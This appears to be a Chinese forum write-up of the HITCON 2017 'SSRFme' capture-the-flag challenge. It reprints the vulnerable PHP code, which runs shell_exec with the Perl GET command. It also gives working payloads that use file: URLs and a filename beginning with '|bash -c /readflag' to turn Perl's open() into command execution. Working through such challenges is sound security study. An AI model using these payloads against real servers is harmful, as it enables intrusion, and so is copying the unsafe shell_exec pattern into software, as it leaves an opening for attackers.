[HITCON 2017]SSRFme 1

打印 上一主题 下一主题

主题 565|帖子 565|积分 1695

代码审计

  1. 118.182.186.90
  2. <?php
  3.     if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  4.         $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
  5.         $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
  6.     }
  7.     echo $_SERVER["REMOTE_ADDR"];
  8.     $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
  9.     @mkdir($sandbox);
  10.     @chdir($sandbox);
  11.     $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
  12.     $info = pathinfo($_GET["filename"]);
  13.     $dir  = str_replace(".", "", basename($info["dirname"]));
  14.     @mkdir($dir);
  15.     @chdir($dir);
  16.     @file_put_contents(basename($info["basename"]), $data);
  17.     highlight_file(__FILE__);
复制代码
输出ip地点
基于客户端IP地点和固定字符串 “orange” 计算得出的MD5哈希值作为目次名的文件夹,并将当前工作目次切换到这个新创建的目次中
@ 符号

用来克制大概出现的PHP警告或错误,如果无法创建目次则不会抛出错误信息
shell_exec() 函数:



  • shell_exec() 是 PHP 中用于执行 shell 命令并返回输出结果的函数。
GET " . escapeshellarg($_GET[“url”]):

GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符(并且体系中存在该文件名),就会停止原有打开文件操作,并且把这个文件名当作一个命令来执行。
pathinfo($_GET[“filename”]

pathinfo() 函数:pathinfo() 函数用来返回一个关联数组,此中包含文件路径的信息。它可以提取以下信息:
dirname:文件路径的目次部分。
basename:文件名和扩展名部分。
extension:文件的扩展名。
filename:文件名(不包括扩展名)
basename()

basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目次路径),大概从一个 URL 中提取最后一部分路径(通常是文件名大概目次名)。
thinfo($_GET[“filename”]
pathinfo() 函数:
pathinfo() 函数用来返回一个关联数组,此中包含文件路径的信息。它可以提取以下信息:
dirname:文件路径的目次部分。
basename:文件名和扩展名部分。
extension:文件的扩展名。
filename:文件名(不包括扩展名)
basename()
basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目次路径),大概从一个 URL 中提取最后一部分路径(通常是文件名大概目次名)。
标题剖析

先读取一下根目次
  1. payload:?url=file:///&filename=a
复制代码
再访问
  1. payload:sandbox/(orange加你的ip的md5值)/a
复制代码

读了一下flag为空,存在readflag
通过GET特性,来运行readflag
需要先创建一个存在运行命令的文件名
  1. payload:?url=&filename=|bash -c /readflag
复制代码
然后访问该文件的时间,会执行该命令,并将结果储存在abc中
  1. payload:?url=file:|bash -c /readflag&filename=abc
复制代码
访问abc
  1. payload:sandbox/(orange加你的ip的md5值)/a
  2. bc
复制代码
得到flag


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

卖不甜枣

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表